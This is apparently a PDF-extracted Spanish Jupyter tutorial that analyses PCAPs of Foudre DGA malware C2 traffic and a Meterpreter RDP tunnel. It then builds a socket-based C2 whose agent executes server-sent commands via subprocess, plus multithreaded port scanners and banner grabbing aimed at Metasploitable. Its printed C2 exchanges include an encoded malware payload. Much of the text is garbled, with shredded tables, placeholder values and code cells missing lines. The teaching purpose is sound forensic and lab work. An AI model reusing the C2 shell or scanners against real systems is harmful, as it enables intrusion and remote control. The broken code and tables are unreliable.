df["parsed"] = df["payload"].map(parse_http)
df
Out[109]:
s d
time_ dir
p p
epoc src dst ecti payload time parsed
o o
h on
rt rt
260
4 2020-10- {'method':
1.603 185.5 9 req GET 24 'GET', 'url':
10.0.2 8
0 550e 6.137. 7 ues /de/?d=2020298&v=00021&t= 14:28:20 '/de/?d=202
.15 0
+09 138 2 t 2020%2D10%2D24%2D... .219521 0298&v=00
7 046 0...
4 2020-10-
{'method':
1.603 185.5 9 res HTTP/1.1 302 24
10.0.2 8 'HTTP/1.1',
1 550e 6.137. 7 pon Found\r\nConnection: 14:28:20
.15 0 'url': '302',
+09 138 2 se Keep-Alive\r... .341497
'path': '...
7 898
4 2020-10- {'method':
1.603 185.5 9 req GET 24 'GET', 'url':
10.0.2 8
2 550e 6.137. 7 ues /de/[Link] 14:28:20 '/de/db54a8
.15 0
+09 138 2 t HTTP/1.1\r\nUs... .348510 45.top2020
7 027 ...
4 2020-10-
{'method':
1.603 185.5 9 res HTTP/1.1 200 24
10.0.2 8 'HTTP/1.1',
3 550e 6.137. 7 pon OK\r\nConnection: 14:28:20
.15 0 'url': '200',
+09 138 2 se Keep-Alive\r\nC... .384807
'path': '...
7 110
4 2020-10- {'method':
1.603 185.5 9 req GET 24 'GET', 'url':
10.0.2 8
4 550e 6.137. 7 ues /2014/?c=MSEDGEWIN10&u 14:28:20 '/2014/?c=
.15 0
+09 138 2 t =IEUser&v=00021&s=Te... .468709 MSEDGE
7 946 WIN10...
4 2020-10-
{'method':
1.603 185.5 9 res HTTP/1.1 404 Not 24
10.0.2 8 'HTTP/1.1',
5 550e 6.137. 7 pon Found\r\nConnection: 14:28:20
.15 0 'url': '404',
+09 138 2 se Keep-Ali... .501993
'path': '...
7 895
{'method':
4 2020-10-
'POST',
1.603 185.5 9 req POST 24
10.0.2 8 'url':
6 550e 6.137. 7 ues /en/?2020%2D10%2D24%2D 14:28:20
.15 0 '/en/?2020
+09 138 2 t %2D7%2D28%2D20 HTTP... .662239
%2D10%2
7 075
D24...
261
4 2020-10-
1.603 185.5 9 res f=datadir1&c=MSEDGEWIN1 24
10.0.2 8
7 550e 6.137. 7 pon 0&u=IEUser&v=00021&s=Te.. 14:28:20 None
.15 0
+09 138 2 se . .662307
7 024
4 2020-10-
{'method':
1.603 185.5 9 res HTTP/1.1 200 24
10.0.2 8 'HTTP/1.1',
8 550e 6.137. 7 pon OK\r\nConnection: 14:28:20
.15 0 'url': '200',
+09 138 2 se Keep-Alive\r\nX... .791883
'path': '...
7 945
Hay dos tipos de mensajes que veremos, los GET (del cliente) y las respuestas 302/200 (del servidor).Si esto
fuera una charla, la víctima habla poco, pero cada palabra es importante..... Luego, La víctima usa
parámetros numéricos y fechas en los GET, lo que revela un patrón de generación de nombres (de ahí el
nombre Foudre DGA).... Finalmente, el servidor responde con redirecciones y archivos .sig. El .sig no es una
firma cualquiera... ojo aquí, este suele ser el payload cifrado o firmado digitalmente.
In [110]:
import pandas as pd
from [Link] import urlparse, parse_qs
# esta función, toma el texto raw del HTTP y lo separa en partes útiles
def parse_http(payload):
lines = [Link]("\r\n") #separamos por líneas (cada encabezado
HTTP)
first = lines[0].split(" ") #la primera línea-- > método y URL
if len(first) < 2:
return None # Si no tiene al menos dos partes, no
sirve
262
params = parse_qs([Link]) # convertimos los parámetros ?a=1&b=2 en
dict
return {
"method": method,
"url": url,
"path": [Link],
"host": host,
"params": params,
}
# mostramos resultado
df[["time", "src", "dst", "direction", "parsed"]]
Out[110]:
directi
time src dst parsed
on
263
2020-10-24 185.56.13 respo
7 [Link] None
14:28:20.662307024 7.138 nse
Aquí, pasaremos de mirar una estructura de Python medio enredada por el parsed, a tener una tabla limpia,
legible, donde cada columna te cuenta una parte de la historia.
In [111]:
#Estas tres líneas toman el diccionario parsed que creamos antes (con method, path,
host, etc.)
#y lo expanden a columnas separadas, así podremos ordenar, filtrar y graficar sin
tener que andar abriendo diccionarios anidados.
#despues viene la parte mas interesante, donde extraemos los parámetros ocultos del
DGA (Domain Generation Algorithm)
df["d"] = df["parsed"].map(lambda x: x["params"].get("d",[None])[0] if x else None)
df["v"] = df["parsed"].map(lambda x: x["params"].get("v",[None])[0] if x else None)
df["t"] = df["parsed"].map(lambda x: x["params"].get("t",[None])[0] if x else None)
df[["time","src","dst","direction","method","host","path","d","v","t"]]
Out[111]:
dire
met
time src dst ctio host path d v t
hod
n
20
20
-1
0-
2020-10-24 202 00
[Link] 185.56. requ db54a8 24
0 14:28:20.2 GET /de/ 029 02
5 137.138 est [Link] --
19521046 8 1
7-
28
-2
0
264
2020-10-24 HTT N
185.56. [Link] resp Non No
1 14:28:20.3 P/1. None 302 on
137.138 5 onse e ne
41497898 1 e
2020-10-24 N
[Link] 185.56. requ db54a8 /de/[Link] Non No
2 14:28:20.3 GET on
5 137.138 est [Link] [Link] e ne
48510027 e
2020-10-24 HTT N
185.56. [Link] resp Non No
3 14:28:20.3 P/1. None 200 on
137.138 5 onse e ne
84807110 1 e
20
20
-1
0-
2020-10-24 00
[Link] 185.56. requ db54a8 Non 24
4 14:28:20.4 GET /2014/ 02
5 137.138 est [Link] e --
68709946 1
7-
28
-2
0
2020-10-24 HTT N
185.56. [Link] resp Non No
5 14:28:20.5 P/1. None 404 on
137.138 5 onse e ne
01993895 1 e
2020-10-24 N
[Link] 185.56. requ POS db54a8 Non No
6 14:28:20.6 /en/ on
5 137.138 est T [Link] e ne
62239075 e
2020-10-24 N
[Link] 185.56. resp Non Non No
7 14:28:20.6 None None on
5 137.138 onse e e ne
62307024 e
2020-10-24 HTT N
185.56. [Link] resp Non No
8 14:28:20.7 P/1. None 200 on
137.138 5 onse e ne
91883945 1 e
265
● d suele representar el día de la infección o de la comunicación, en formato YYYYDDD (eje: 2020298
-> 24 de octubre de 2020)
● v es la versión del implante o la tarea.
● t es una marca temporal que el malware usa para comprobar la sincronización.
Cuando dibujas el tráfico con NetworkX, lo que hacés es convertir las IPs y sus flujos en un pequeño mapa
de relaciones... y aunque parezca simple, eso te da una mirada visual inmediata de quién habla con quién,
cuántas veces y en qué dirección fluye la historia.
In [112]:
import networkx as nx
import [Link] as plt
266
Podemos ahora para complementar, haremos una función que calcula la entropía de Shannon de una
cadena, que es básicamente una medida de cuán desordenado o aleatorio es el texto. Si lo traducimos a
lenguaje Jedi.... un nombre normal como "[Link]" tiene entropía baja (más o menos 2.8 bits por
carácter). Un dominio generado por malware, tipo "[Link]", puede pasar de 4.5 bits por
carácter.
En resumen: más entropía --> más aleatoriedad ---> más sospechoso. Cuando lo ves así, podés oler el
patrón al instante...los dominios con entropía alta tienden a ser generados automáticamente y suelen venir
de DGAs (Domain Generation Algorithms), esos generadores de nombres que usan los implantes para
esconder sus C2.
In [113]:
def shannon_entropy(s):
import math
from collections import Counter
if not s:
return 0
c = Counter(s)
total = len(s)
e = 0.0
for v in [Link]():
p = v/total
e -= p * math.log2(p)
return e
df["host_entropy"] = df["host"].map(shannon_entropy)
df["host_len"] = df["host"].map(lambda x: len(x) if x else 0)
df[["host","host_len","host_entropy"]]
267
Out[113]:
host_le host_entrop
host
n y
[Link]
0 12 3.251629
p
1 None 0 0.000000
[Link]
2 12 3.251629
p
3 None 0 0.000000
[Link]
4 12 3.251629
p
5 None 0 0.000000
[Link]
6 12 3.251629
p
7 None 0 0.000000
8 None 0 0.000000
Lo que vamos a hacer en este último tramo fue abrir la carta completa del atacante, pero sin tocarla
todavía.... hasta ahora ya sabíamos quién habló con quién (las IPs y los puertos), sabíamos qué dijeron en
voz alta (las consultas GET) y ahora entramos a ver qué contestó el servidor, es decir, la parte más jugosa...
las respuestas HTTP.
In [114]:
df_response = df[df["direction"]=="response"]
for p in df_response["payload"].tolist():
print("\n=== RESPONSE RAW ===")
print(p)
268
Connection: Keep-Alive
X-Powered-By: PHP/7.3.23
Content-Type: application/octet-stream
Location: [Link]
Content-Length: 0
Date: Sat, 24 Oct 2020 14:28:19 GMT
Server: LiteSpeed
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
=%*ka6|ܼ[מiWP;b?#ͮF\/hdZnwmj2KWlS>g&
.'K"VJv1=4|/̔,̴~sJjҳ}jɽ`%9зtB*)HM2,)(eM3#&: ρCIEą0DD_.މxlBO#uvb܌GxaG!2ʓ(
269
eLihDcbNBkXj56ILVd1ZslZlUmal4Lbdb85g07Tfh%0D%0AWNXSiJJcP7W3sPkvoKk%2FKd%2F9DYvu7VZbX%2B
V7vw4ciobOwKkjqXmZPOSDvPbe1ewrB2LyNNC06XRR%0D%0AOLk2G61BnUHfjlS4LTuhh3ibTOmAdgAkKxrodPg
QIYT4fBe929Tqacd8u4Iq5yWCMUn%2Bm8FuGmNB%0D%0AVZQxawgTq1E6yUIEVzDkN7ZjbZSXip%2FUg1faUgwF
aU49%2BNq9zzrTpmPRGrys2wiqjx4bX%2BvEQKfd%0D%0A8ao%2B4xl2mlJqa%2F1ddPykqIl4eKtmqmBpTyh15
aYAs0UAPVwnSF75UcGVtiiSAA0r%2FIdxbHjzl5hD%0D%0ArYid0myDo%2FlqgZ6Xr1JlYVZn51livHZrAk6A4o
v1XYy6TXbL7V%2F9ZBz%2BY4izu0aTcWArSdN%2F5ReY%0D%0A3KY7YqYUgcf25oPGOTRqEWppMiX3oQ%2Fex4V
Mf93%2B069Qasb6uIEVkIWXpCxcwS9qZ2ZNblJj1uxO%0D%0AStKmdzoGjLurEw7%2FoIonA%2FJ5SkyjnovqcT
BkbWhDxNLFNGWUVaR4w9X91k%2FERIwOrNkW%2Bgxghaqe%0D%0ATilDPnAWru2BOfeUN8YCxjFllpIvavyHlSe
kqy9rnkZqjEwRaqjXBFZPYM1teGffPTHufzgdffvK%0D%0At1fpZhQDOQzuGl76NyjUKZAtORDdBQokBps3eCmS
ka1gsCRRkwC0mQrfyJyqpzBnCMqeZFMWvx5N%0D%0ABoWrmrwRvfNgVRqgIMuFC280cvb8f2Rdbvp8OCXS1sa4R
5wf%2BHYhBp0V3cxF6mPqAba5V2l%2Fvlqb%0D%0AtKybY2ZbLNuIeOUWc06iC4yTj79V9qEXUvfdfTw%2BD0P9
gUdWH%2Bfzf1jnMjR33fJ1LWYi6yqPbBzO%0D%0AXhLIywwoNc2p4x19tOH4WshgCBMaXvPPp7BAox%2B5NMwB4
N8NFWIDMuh96Pc1M8NoxuO8cBhHiPtc%0D%0AiUKQF0uS%2FhrMe67LrYFAmijbMnUtScflkRQ%2FVTMEfBxooj
c%2Fg8nNxCZhNvOx39EoskT43Ivg8b2F%0D%0Ans738CasiBA1bQQkUGmaDL7ZdY4h4O1vLuFNSofP8cH0T5%2B
1kHegVe4YRdYCm3Fodigwbn3w0t%2BE%0D%0An0PiUqv8e5kGMBtSgrReT9CY79f7S4eIa6RKpUf4UrL%2BJozr
0uLHMmNhHaxdaF1dtlKK%2BDHf8odC%0D%0AFR2WVZpPV2UKUrnNUyw8b%2BagaZSx5dsROi%2FJXxhicu25siv
a334nWnbw7w2AGQO3TL7XWZZaShLE%0D%0ApkVbgaSpvCwoSbgw%2B2E3UbIB4UXf3eiuAygf7ZITsWXEVycRqc
ZhD%2FkHXrfcjdc1TmPkMg0URoMw%0D%0AqK5OaRbIa615zPXq0nrL4I5BC3poLMdTHbzBijYRzK3frt0kMRe4X
%2Bv5h6QlJUgOr4udpSloZsqC%0D%0Ahg%2B3k838yOju9cgu5HKAOGyOmsnm8MmqEldAAFItZ0%2B2aFJCwmFC
y5mM3GEOu6xpXKafYrtraUqh%0D%0AndfkBUZ8SepQm2MLCJrmtV4jx1MhbBYOPWvUJJG5lEdfoIAxjYcfxVAzd
O8g5O7%2FJmQxJe02AVhP%0D%0AuGMnzPT33uMXcE%2B5lpaBk3LJnx9q7j1VihaI8FGxhk%2F1GUaqE4SwFqJc
twNsGH4fRAX77w39vgp9%0D%0ARPmKYVqogMAAXQ6RAPyAEPxq54GXiQAslbiweXG%2Fi9cLujTllybag%2B14B
VaTuYAl6iCyMuk2Dan5%0D%0AKkuEUfkTnQEzF7NaDGM14DOi3gHQs1zEHF0xktY8m6vH4IuJW34f8o8pbkeKuB
rjkPR%2FtCkZsciY%0D%0AbRNr3iKKFoNH%2B5POK1w90og1NVVpZYUwxqKncuFpQr1PEpaq%2BGTkREmrA5fbV
8citG1jp34pdwG%2F%0D%0ApTcSl4asUwyG%2B82RGzpHjraIKHt5anIBOjdy6MRvv36Kr%2FbqPMr8JJPYskOo
QqHaMbC1UCGGBEym%0D%0AjccOFnbFtHFh9DKmP4Ih9kX9AX%2FC9qLbpP2PFayX4sd2nxxW6XUrtbELCk%2BbP
A%2BSaEJV2a4%2Bm8D4%0D%0APcXXR2u090e2LGxts89gaxfadfcgvjkA2xYqYoBQ%2FosbocrC6XRZBm0RMFuM
9RueMue%2Bimzdf2ej%0D%0AwJwtdPIKZuZco9buglKg9vVSphKlJBAxbAD7lSfRq5Pw0EKAMNHAFzTJdNi15YO
rqYpKskCPmLJ%2B%0D%0Ab87nnw2bsjI%2F1dFE8oyt1%2Bq5mZjo%2BZP9EriBmnMfeOPp2A%2Bo2FZvOUyzIv
PaBV99ceL16jcZnjBp%0D%0AmDH%2Fe4dR1iQ7EZiS2CadN%2BvTQ4LhW1U7BzNiS58SzyGZmN6m230kRGnFqWb
2W2QMylgZGgmPHy97%0D%0ACo7lewGH2BV0U1eYepwcMlJeqGudvX2z0cT6m4QzNC%2BlehlGVVejRAHI1diB%2
B%2B1rAVVZ6FTQ5Hyt%0D%0AhNjcQtD4tH2XK5WTKgKegbDa%2BSmYNv%2F9M4qkefUwDmXOJXMdRvJ7oazy47y
RRsQfwqiCVdlnjH05%0D%0Ag1qot4rlHeCHF5WtOQC3uBvkKD6KVXEzN0QErUzWYccqoEzOetuAoG5zq5bDJK%2
BnqhQAv9Zk4Y%2B6%0D%0A2Fs6hshWQWy4dxTjBHJ5ZkxvFZQlgKchYFP2ynJ%2BjhvByzDhvvOrwGubN5%2Flh
6%2Ff9TZIh0QzaRAN%0D%0AMARXOELkT78j3EDuAciUR66Oxrt0kNLPIw3%2Fjl%2F70MUQ7%2FivcyrtT%2BJ1
7oyKZ3XC6lHQvqKNSGxq%0D%0AAd5x0ctEIkCbPB2tVVRVX3HJa7myxyJ6XsSwn3P7Rm6JScL0CSYmNiMEf5DPa
iVZO533C4YwJmrU%0D%0ALjDGnyidhsT2WLoDoRrIIp9XJRUt1heACiiCjdPaZ3Dx4fOpioFynAWCZTyr5%2BOR
%2BW9%2BTMqXFLxw%0D%0AI3tdLnBVi150ZGgtoJXpFwT66dNXry1CId5BiO0T2pEjNU9myUViEJgaHryteeW2B
DwhuHuFTvRq%0D%0A107fs8abTo9M92otWrZ%2BhBw96AX3yMN7KxfCb6qNAr3z3NXU6aGoyg7mvq%2BjUWpSCH
gCzvGYS59k%0D%0AiRSzjIDIJI8F1jZ3lAuz7P4MmC0N4C56x6pyn5Ip58LK5JTNOQXCIBtv5uKc%2BfS5jEtcP
mcmKeik%0D%0Am4tN5rHo&e=EOF
270
Lo que encontramos fue un ejemplo de comunicación HTTP C2 muy limpia y disimulada:
PCAP_RDP_C2
Entonces seguimos con el PCAP 3 . rdp_tunneling_meterpreter_portfwd.pcapng, aplicando la misma
metodología narrativa que en el caso anterior.... antes de escribir código o graficar, lo que haríamos... como
buenos analistas con café en mano... Es tomarle el ritmo al tráfico, igual que hicimos en los casos 1 y 2.
In [115]:
resumen, df_src, df_dst, df_tcp_dports, df_udp_dports, sizes =
resumen_pcap(PCAP_RDP_C2)
print("\nTop IP origen:")
print(df_src.head(5))
print("\nTop IP destino:")
print(df_dst.head(5))
Top IP origen:
ip_src count_src
0 [Link] 632
1 [Link] 589
Top IP destino:
ip_dst count_dst
0 [Link] 632
1 [Link] 589
271
Top puertos destino TCP:
tcp_dport count
0 49682 632
1 4444 589
Entonces con ese resumen .... 1221 paquetes TCP entre las IPs [Link] <---> [Link], usando los
puertos 4444 y 49682, y 687 de ellos con payload Raw .... ya podemos empezar a contar la historia del tercer
caso... el túnel RDP con Meterpreter.
Entonces el panorama cambia... lo que tienes delante, no es solo una conexión interna, es una sesión
remota encapsulada, un túnel C2 tipo port forwarding.
Y para confirmarlo, lo que sigue es usar un poco de Python para abrir la caja negra:
In [116]:
pkts = rdpcap(PCAP_RDP_C2)
print("Total paquetes:", len(pkts))
dst_ports = Counter()
src_ports = Counter()
flows = Counter()
for p in pkts:
if not ([Link](IP) and [Link](TCP)):
continue
ip = p[IP]
tcp = p[TCP]
dst_ports[[Link]] += 1
src_ports[[Link]] += 1
272
print("\nTop flujos (src_ip:src_port -> dst_ip:dst_port):")
for (sip, sport, dip, dport), cnt in flows.most_common(5):
print(f" {sip}:{sport} -> {dip}:{dport} ({cnt} paquetes)")
Y acá viene la parte donde uno deja de mirar números y empieza a pensar... el tráfico es puro TCP, ni un solo
paquete DNS, ni un solo UDP, y más de 600 paquetes por sentido entre dos máquinas internas.. los puertos
no mienten de 4444 <---> 49682. Si esto fuera una llamada telefónica, sería un canal directo entre dos
personas o una pareja celosa con llamadas perdidas, y más raro aun, sin nadie más hablando... y ese 4444...
es como ver la marca registrada de Metasploit.
Este paso, el de contar puertos y flujos... es una práctica que no falla, cuando no sabés qué hay dentro de un
pcap, empezá por los números. Ellos te dicen si estás frente a algo casual, un escaneo, o un túnel C2
escondido. En este caso, el patrón simétrico entre [Link] y [Link] te dice que es un canal estable, no
un escaneo ni un intento de conexión... hay ida y vuelta, hay conversación cifrada constante.
Hasta ahora sabemos que [Link] y [Link] están hablando por los puertos 4444 y 49682, pero todavía
no sabemos qué se dicen. Con este script, abrimos el canal para mirar el contenido Raw... es decir, la parte
que transporta los datos reales del túnel.
In [117]:
from [Link] import rdpcap, TCP, IP, Raw
pkts = rdpcap(PCAP_RDP_C2)
flow_data = []
for p in pkts:
if [Link](IP) and [Link](TCP):
ip = p[IP]
tcp = p[TCP]
273
if ([Link] == "[Link]" and [Link] == 4444) or \
([Link] == "[Link]" and [Link] == 49682):
if [Link](Raw):
flow_data.append(([Link], [Link], [Link], [Link], p[Raw].load))
274
b'\x89(m\\\xed\x00\x11\x99\x0e\xbe!\xa6?\xe8"6\xe1\x8a\xc5\xf2\x89(m]\x89(m\xf4\x89(m\\
\x15BQ9\xca\x9d\xec\xf1\xcc\xfcX\xa1\xbf\xa4\xd1\x0b\x98\x8d\xf3\xa9\xd9\xe0\xec\xf8\xa
2\x85\xf6k$\xc6.\xab'
Y acá, está la belleza del análisis manual...no hace falta entender el cifrado todavía, basta con notar que no
hay texto legible, ni HTTP, ni RDP clásico. Lo que ves son bytes binarios con alta variación, longitudes
constantes (1460 bytes, el tamaño típico de MTU) y simetría entre ida y vuelta.... eso ya te dice que estás
mirando un canal encapsulado, probablemente cifrado punto a punto, como los que usa Meterpreter para
reenviar tráfico (en este caso, RDP) a través de su conexión existente.
Hasta ahora vimos que los paquetes tienen datos Raw y que parecen binarios, pero no lo hemos
demostrado. La entropía nos dice cuánta información desordenada hay dentro del contenido, cuando es baja
(por ejemplo, 3 o 5 bits por byte), suele ser texto, logs o protocolos simples. Cuando es alta (por encima de
7), estamos ante datos comprimidos o cifrados...o sea, un flujo que intenta esconder algo.
In [118]:
import math
from collections import Counter
from [Link] import rdpcap, IP, TCP, Raw
def shannon_entropy(data):
"""Calcula la entropía de Shannon de una secuencia de bytes."""
if not data:
return 0
counter = Counter(data)
total = len(data)
entropy = 0.0
for count in [Link]():
p = count / total
entropy -= p * math.log2(p)
return entropy
pkts = rdpcap(PCAP_RDP_C2)
flow_data = []
for p in pkts:
if [Link](IP) and [Link](TCP) and [Link](Raw):
ip = p[IP]
tcp = p[TCP]
if ([Link] == "[Link]" and [Link] == 4444) or \
([Link] == "[Link]" and [Link] == 49682):
flow_data.append(p[Raw].load)
275
[ - ] pkt #0 entropy: 7.041524593487493
[ - ] pkt #1 entropy: 7.011697501957517
[ - ] pkt #2 entropy: 6.940958643993336
[ - ] pkt #3 entropy: 6.840723683067101
[ - ] pkt #4 entropy: 6.86169155571795
[ - ] pkt #5 entropy: 7.617775756669927
[ - ] pkt #6 entropy: 6.797158433188975
[ - ] pkt #7 entropy: 7.856459266557627
[ - ] pkt #8 entropy: 7.281661044817258
[ - ] pkt #9 entropy: 6.856766992762185
Eso significa que el contenido no es tráfico RDP puro, sino datos cifrados encapsulados dentro del túnel... lo
que cuadra perfecto con la hipótesis de que el atacante usó Meterpreter para redirigir RDP a través del
puerto 4444.
In [119]:
import [Link] as plt
from [Link] import rdpcap, IP, TCP, Raw
pkts = rdpcap(PCAP_RDP_C2)
times = []
sizes = []
directions = []
for p in pkts:
if [Link](IP) and [Link](TCP) and [Link](Raw):
ip = p[IP]
tcp = p[TCP]
if ([Link] == "[Link]" and [Link] == 4444) or \
([Link] == "[Link]" and [Link] == 49682):
[Link]([Link])
[Link](len(p[Raw].load))
[Link]("A→B" if [Link] == "[Link]" else "B→A")
[Link](figsize=(10,5))
[Link](times, sizes, c=["red" if d=="A→B" else "blue" for d in directions],
alpha=0.6)
[Link]("Tiempo (segundos desde inicio)")
[Link]("Tamaño del payload (bytes)")
[Link]("Ritmo del túnel RDP sobre Meterpreter (payload size vs time)")
Out[119]:
276
Text(0.5, 1.0, 'Ritmo del túnel RDP sobre Meterpreter (payload size vs time)')
In [120]:
import networkx as nx
import [Link] as plt
from [Link] import rdpcap, IP, TCP, Raw
from collections import Counter
pkts = rdpcap(PCAP_RDP_C2)
for p in pkts:
if [Link](IP) and [Link](TCP):
ip = p[IP]
tcp = p[TCP]
src = f"{[Link]}:{[Link]}"
dst = f"{[Link]}:{[Link]}"
flows[(src, dst)] += 1
# gráfico network
G = [Link]()
for (src, dst), count in [Link]():
G.add_edge(src, dst, weight=count)
[Link](figsize=(10, 7))
pos = nx.spring_layout(G, seed=42, k=0.8)
277
edges = nx.draw_networkx_edges(
G, pos, arrowstyle='-|>', arrowsize=15,
edge_color='orange', width=[(G[u][v]['weight']/50) for u,v in [Link]()]
)
nx.draw_networkx_nodes(G, pos, node_size=3000, node_color="black", alpha=0.8)
nx.draw_networkx_labels(G, pos, font_color="white", font_size=8)
[Link]("Mapa de flujo de red - Túnel RDP sobre Meterpreter")
[Link]("off")
[Link]()
El puerto 4444, clásico de Meterpreter, y el 49682 en la contraparte, sugieren que el atacante usó una sesión
de port forwarding para exponer un servicio RDP a través del canal del payload.
En otras palabras, lo que parece un simple intercambio TCP en realidad es un túnel de control remoto dentro
del propio RDP, una técnica avanzada para moverse lateralmente sin dejar rastros obvios.
278
Visualmente, si lo ves en los gráficos, es una línea naranja gruesa y persistente entre dos puntos lo que
cuenta una historia corta, silenciosa y peligrosa.
Podemos hacerlo paso a paso, igual que con los pcaps, charlando, con un café, y viendo cómo cada línea de
Python abre un canal entre máquinas, cómo se habla con un servidor, cómo se simula un ataque, o cómo se
defiende una trinchera digital.
Para comenzar, propongo algo suave, casi meditativo, como cuando un padawan prende por primera vez su
sable láser... crearemos un socket cliente y servidor que hablen entre sí.... nada más que, solo aprender a
escuchar y responder.
Ojo: En un terminal normal los script los ejecutamos como dos scripts distintos. En Jupyter, podémos hacerlo
en dos celdas separadas y usando hilos (threads) para mantener el servidor vivo mientras el cliente se
conecta.
In [121]:
import socket
import threading
def servidor():
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](("[Link]", 4444)) # escucha local
[Link](1)
print("[*] Servidor esperando conexión en el puerto 4444...")
while True:
data = [Link](1024).decode()
if not data or [Link]() == "exit":
print("[*] Cliente desconectado")
break
print(f"[+] Recibido: {data}")
[Link](b"Recibido: " + [Link]())
[Link]()
279
# levantamos el servidor en segundo plano
[Link](target=servidor, daemon=True).start()
Esto inicia un servidor que queda escuchando dentro de Jupyter, sin bloquear el notebook. Luego, en una
nueva celda, ejecuta el cliente:
In [122]:
import socket
client = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](("[Link]", 4444))
while True:
msg = input("Mensaje (exit para salir): ")
[Link]([Link]())
if [Link]() == "exit":
break
respuesta = [Link](1024).decode()
print("Servidor:", respuesta)
[Link]()
Ahora, vamos a entender qué acaba de pasar con esos sockets, pero de una forma visual y ordenada.
Piensa que lo que hicimos es casi como abrir una pequeña autopista de datos entre dos puntos: uno que
escucha (servidor) y otro que habla (cliente).
Ahora, podemos ver ese diálogo en un gráfico simple, donde las flechas son los mensajes:
280
Una especie de diagrama de conversación, con flechas azules del cliente hacia el servidor y rojas en sentido
contrario. Es básicamente un resumen visual del handshake TCP y del intercambio que hicimos.
Ahora que ya dominas el primer ritual Jedi del socket, escuchar, aceptar y hablar. Vamos a subir un nivel de
poder y hacer algo que te sirva directamente en ciberseguridad ofensiva y defensiva, pero igual de didáctico,
un mini sniffer TCP/UDP hecho con sockets.
La idea es ver qué pasa cuando los sockets escuchan todo lo que respira en la red, como si fueran los oídos
de la Fuerza del sistema.
281
Corro el script fuera de Jupyter como administrador para mostrar que funciona correctamente:
In [ ]:
import socket
282
print("[*] Escuchando paquetes... (Ctrl+C para detener)")
try:
for _ in range(5): # lee solo 5 paquetes para probar
pkt = [Link](65565)
print(f"Paquete recibido desde {pkt[1]}")
except KeyboardInterrupt:
pass
finally:
print("[*] Cerrando socket...")
try:
[Link](socket.SIO_RCVALL, socket.RCVALL_OFF)
except:
pass
[Link]()
si quisieramos, Podriamos usar el resultado (pkt[1]) y armar un Counter para mostrar las IP más activas en tu
red local, con un gráfico de barras tipo:
In [128]:
from collections import Counter
import [Link] as plt
c = Counter(ips)
[Link]([Link](), [Link](), color="orange")
[Link]("IPs observadas en tráfico local")
[Link]("IP destino")
[Link]("Conteo de paquetes")
[Link](rotation=45)
[Link]()
283
Ahora, vamos a construir un Command & Control (C2) muy básico. En pocas palabras, un C2 es como un
walkie-talkie entre un agente (la máquina comprometida) y un servidor central (el atacante o sistema de
control).
Nuestro ejemplo no va a hacer nada malicioso, solo mostrará cómo se arma el canal de comunicación y
cómo se intercambian mensajes.
In [1]:
import socket
import threading
import subprocess
import time
HOST = "[Link]"
PORT = 4445
[Link]()
[Link]()
print("[*] Servidor cerrado.")
284
while True:
cmd = [Link](1024).decode()
if [Link]().lower() == "exit":
break
try:
result = [Link](cmd)
except Exception as e:
result = str(e)
[Link]([Link]())
[Link]()
print("[*] Agente desconectado.")
[Link]()
[Link]()
[Link]()
[Link]()
El siguiente código es una mejora del anterior, ahora cada vez que el servidor envía un comando, mide
cuánto tarda en recibir la respuesta.
In [2]:
285
import socket
import threading
import subprocess
import time
HOST = "[Link]"
PORT = 4445 # usamos otro puerto para no interferir con el anterior
if cmd == "exit":
break
data = [Link](4096)
end = [Link]()
latency = round(end - start, 3)
print(f"[Agente respuesta]: {[Link](errors='ignore')}")
print(f" > Latencia: {latency} segundos")
[Link](1)
[Link]()
[Link]()
print("[*] Servidor cerrado.")
while True:
cmd = [Link](1024).decode()
if [Link]().lower() == "exit":
break
try:
result = [Link](cmd)
except Exception as e:
286
result = str(e)
[Link]()
print("[*] Agente desconectado.")
[Link]()
[Link]()
[Link]()
[Link]()
Qué quiero que aprendas con esto.... que por ejemplo la latencia sirve como indicador de control, si un
agente tarda demasiado en responder, puede estar caído, saturado o desconectado. En un entorno real, el
C2 usaría ese tiempo para decidir si el host sigue vivo. Por otra parte, el Heartbeat C2, de aquí nace la idea
del beacon, ese pequeño ping que los agentes envían cada cierto tiempo al C2 para decir... sigo aquí, mi
maestro Jedi.
287
In [3]:
import socket
from datetime import datetime
def escanear_host(host, puertos):
print(f"[*] Escaneando host {host}...")
abiertos = []
inicio = [Link]()
Puertos abiertos encontrados: [21, 22, 23, 25, 53, 80, 139, 445]
288
Escaneo de rango de puertos con multithreading
El ejemplo anterior es claro, pero algo lento.... Ahora te muestro cómo hacerlo más rápido usando threads,
como si varios drones Jedi escanearon a la vez la estrella de la muerte.
In [5]:
import socket
import threading
In [7]:
import socket
289
def obtener_banner(host, puerto):
try:
s = [Link]()
[Link](1)
[Link]((host, puerto))
[Link](b"HEAD / HTTP/1.0\r\n\r\n") # un saludo básico
banner = [Link](1024).decode(errors="ignore").strip()
[Link]()
return banner
except Exception as e:
return None
290
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Connection: close
Content-Type: text/html
Puerto 139: Sin respuesta o banner oculto
Puerto 445: Sin respuesta o banner oculto
Puerto 3306: >
5.0.51a-3ubuntu5)SEBYyt\NS8[C|iv9T|7Bad handshake
podemos observar en los resultados, que algunos puertos te responderán con algo como
SSH-2.0-OpenSSH_7.6p1, otros con HTTP/1.1 400 Bad Request, y algunos se quedarán callados... esos
suelen ser los más interesantes. Esto ya no es solo ping, sino inteligencia de quién está, qué versión usa y
cómo reacciona.
En un laboratorio, si lo haces contra Metasploitable, verás respuestas riquísimas (FTP, Apache, MySQL,
etc.).
Ahora, imagina que estás frente a una consola, con el café caliente al lado y querés escuchar qué dice la red
cuando la tocas con la punta de tu socket.... como eres cuidadoso, no querés invadir, solo escuchar….. como
un Jedi que siente la fuerza de cada máquina.
In [10]:
import socket
import pandas as pd
import [Link] as plt
291
for p in puertos:
estado, banner = escuchar_puerto(host, p)
if estado != "Cerrado":
print(f"[x] Puerto {p:<5} → {estado} {'| '+banner[:40] if banner else
''}")
[Link]((p, estado, banner))
return [Link](registros, columns=["Puerto", "Estado", "Banner"])
df = escaneo_estetico("[Link]", puertos_objetivo)
292
[x] Puerto 3389 → Silencioso
Out[10]:
Pue
Estado Banner
rto
Silenc
0 21 None
ioso
Abiert
1 22 SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
o
Abiert
2 23 #'
o
Abiert
3 25 220 [Link] ESMTP Postfix (Ubuntu)
o
Silenc
4 53 None
ioso
Silenc
6 110 None
ioso
293
Silenc
7 139 None
ioso
Silenc
